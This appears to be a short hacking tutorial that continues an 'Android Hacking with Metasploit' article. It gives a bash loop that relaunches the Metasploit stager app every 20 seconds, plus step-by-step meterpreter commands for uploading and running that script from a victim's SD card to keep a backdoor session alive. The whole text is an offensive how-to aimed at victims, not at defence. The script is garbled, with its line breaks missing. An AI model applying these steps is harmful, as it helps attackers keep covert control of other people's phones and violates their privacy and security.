This is a continuation article of the Android Hacking with Metasploit.
After getting the session from the victim we next need a persistent session i.e constant session which will maintain the session even if you lost the previous sessions.
For this we need a bash script that is to be executed on the victim's mobile.
I have used this bash script for the persistent session. You can use different scripts as well.
---------------------------------------------------------------------------------------------------------------
#!/bin/bash
while truedo am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivitysleep 20done
---------------------------------------------------------------------------------------------------------------
Save the script as <anything>.sh
Next our aim is to get the session back
Step:1
After getting the meterpreter we need to do
cd /
Step:2
Then we have to get access to the SD storage
cd /sdcard/Download
Step:3
After getting the access of SD storage , we have to upload our bash script in that using the command
upload anything.sh
Step:4
Now we want a shell , right?
To get the shell we need the simple command
shell
Step:5
Now, navigate to the location of the script i.e cd/sdcard/Download
Step:6
Now its time for EXECUTION.
sh anything.sh
You can test it by exiting from meterpreter and again setting up a Listener. You should get a meterpreter prompt automatically.
Voila!!! You got the meterpreter.
The persistent of the backdoor will only remain until a reboot of the android system. If your victim is in same network i.e. LAN, then the persistence will remain forever on LAN and if you have static IP, then also your persistence will remain forever on WAN too.
Thank You
